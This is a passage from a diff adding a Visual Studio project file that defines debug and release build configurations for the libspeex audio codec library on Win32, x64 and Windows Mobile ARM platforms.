+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Debug"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				RuntimeLibrary="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Release"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="libspeex.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="libspeex.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_RTL_dll|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_RTL_dll|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_WM5_PPC_ARM|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
